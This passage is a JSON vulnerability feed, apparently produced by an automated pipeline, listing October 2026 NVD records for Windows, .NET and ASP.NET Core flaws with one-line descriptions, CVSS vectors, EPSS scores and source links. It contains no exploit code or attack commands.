2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70212&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70212, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70210","cveId":"CVE-2026-70210","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows OLE DB allows an unauthorized attacker to elevate privileges over a network.","summary":"Heap-based buffer overflow in Windows OLE DB allows an unauthorized attacker to elevate privileges over a network.","detail":"Heap-based buffer overflow in Windows OLE DB allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:35.327Z","updatedAt":"2026-10-16T16:20:43.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70210","asOf":"2026-10-16T16:20:43.790Z"},"epss":{"probability":0.00948,"percentile":0.60928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70210&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70210","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70210","type":"primary","publishedAt":"2026-10-13T19:19:35.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70210&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70210, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70207","cveId":"CVE-2026-70207","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Network Policy Server (NPS) allows an authorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Network Policy Server (NPS) allows an authorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Network Policy Server (NPS) allows an authorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:34.793Z","updatedAt":"2026-10-16T16:20:43.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70207","asOf":"2026-10-16T16:20:43.237Z"},"epss":{"probability":0.00751,"percentile":0.54687,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70207","type":"primary","publishedAt":"2026-10-13T19:19:34.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70205","cveId":"CVE-2026-70205","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","summary":"Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","detail":"Access of resource using incompatible type ('type confusion') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:34.487Z","updatedAt":"2026-10-16T16:20:42.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70205","asOf":"2026-10-16T16:20:42.997Z"},"epss":{"probability":0.00307,"percentile":0.2326,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70205","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70205","type":"primary","publishedAt":"2026-10-13T19:19:34.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70198","cveId":"CVE-2026-70198","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Push Notifications allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Push Notifications allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Push Notifications allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:33.910Z","updatedAt":"2026-10-16T16:20:42.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70198","asOf":"2026-10-16T16:20:42.520Z"},"epss":{"probability":0.00307,"percentile":0.23262,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70198","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70198","type":"primary","publishedAt":"2026-10-13T19:19:33.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70197","cveId":"CVE-2026-70197","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:33.790Z","updatedAt":"2026-10-25T18:17:00.280Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70197","asOf":"2026-10-25T18:17:00.280Z"},"epss":{"probability":0.00788,"percentile":0.55927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70197","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70197","type":"primary","publishedAt":"2026-10-13T19:19:33.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70190","cveId":"CVE-2026-70190","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:33.253Z","updatedAt":"2026-10-22T22:18:35.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70190","asOf":"2026-10-22T22:18:35.150Z"},"epss":{"probability":0.0049,"percentile":0.41858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70190&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70190","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70190","type":"primary","publishedAt":"2026-10-13T19:19:33.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70190&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70190, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70187","cveId":"CVE-2026-70187","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:32.963Z","updatedAt":"2026-10-13T21:18:05.317Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70187","asOf":"2026-10-13T21:18:05.317Z"},"epss":{"probability":0.0078,"percentile":0.5564,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70187&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70187","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70187","type":"primary","publishedAt":"2026-10-13T19:19:32.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70187&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70187, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70186","cveId":"CVE-2026-70186","aliases":[],"kind":"vulnerability","title":"Deadlock in ASP.NET Core allows an unauthorized attacker to deny service over a network.","summary":"Deadlock in ASP.NET Core allows an unauthorized attacker to deny service over a network.","detail":"Deadlock in ASP.NET Core allows an unauthorized attacker to deny service over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:32.847Z","updatedAt":"2026-10-13T23:17:59.340Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70186","asOf":"2026-10-13T23:17:59.340Z"},"epss":{"probability":0.00959,"percentile":0.61255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70186&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70186","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70186","type":"primary","publishedAt":"2026-10-13T19:19:32.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70186&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70186, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70185","cveId":"CVE-2026-70185","aliases":[],"kind":"vulnerability","title":"Protection mechanism failure in Windows PowerShell allows an authorized attacker to bypass a security feature locally.","summary":"Protection mechanism failure in Windows PowerShell allows an authorized attacker to bypass a security feature locally.","detail":"Protection mechanism failure in Windows PowerShell allows an authorized attacker to bypass a security feature locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:32.670Z","updatedAt":"2026-10-16T16:20:41.617Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70185","asOf":"2026-10-16T16:20:41.617Z"},"epss":{"probability":0.00311,"percentile":0.23686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70185&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70185","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70185","type":"primary","publishedAt":"2026-10-13T19:19:32.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70185&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70185, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70184","cveId":"CVE-2026-70184","aliases":[],"kind":"vulnerability","title":"Improper resolution of path equivalence in Windows Backup Engine allows an authorized attacker to elevate privileges locally.","summary":"Improper resolution of path equivalence in Windows Backup Engine allows an authorized attacker to elevate privileges locally.","detail":"Improper resolution of path equivalence in Windows Backup Engine allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:32.540Z","updatedAt":"2026-10-16T16:20:41.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70184","asOf":"2026-10-16T16:20:41.480Z"},"epss":{"probability":0.00431,"percentile":0.37085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70184&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70184","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70184","type":"primary","publishedAt":"2026-10-13T19:19:32.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70184&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70184, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70183","cveId":"CVE-2026-70183","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in ASP.NET Core allows an authorized attacker to elevate privileges over a network.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in ASP.NET Core allows an authorized attacker to elevate privileges over a network.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in ASP.NET Core allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:32.417Z","updatedAt":"2026-10-14T04:18:32.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70183","asOf":"2026-10-14T04:18:32.850Z"},"epss":{"probability":0.00531,"percentile":0.44583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70183&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70183","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70183","type":"primary","publishedAt":"2026-10-13T19:19:32.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70183&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70183, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70181","cveId":"CVE-2026-70181","aliases":[],"kind":"vulnerability","title":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.","summary":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.","detail":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:32.293Z","updatedAt":"2026-10-13T23:17:58.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70181","asOf":"2026-10-13T23:17:58.950Z"},"epss":{"probability":0.0123,"percentile":0.68714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70181&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70181","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70181","type":"primary","publishedAt":"2026-10-13T19:19:32.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70181&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70181, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70179","cveId":"CVE-2026-70179","aliases":[],"kind":"vulnerability","title":"Authentication bypass by spoofing in ASP.NET Core allows an authorized attacker to elevate privileges over a network.","summary":"Authentication bypass by spoofing in ASP.NET Core allows an authorized attacker to elevate privileges over a network.","detail":"Authentication bypass by spoofing in ASP.NET Core allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:32.170Z","updatedAt":"2026-10-22T22:18:34.377Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70179","asOf":"2026-10-22T22:18:34.377Z"},"epss":{"probability":0.00629,"percentile":0.4986,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70179&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 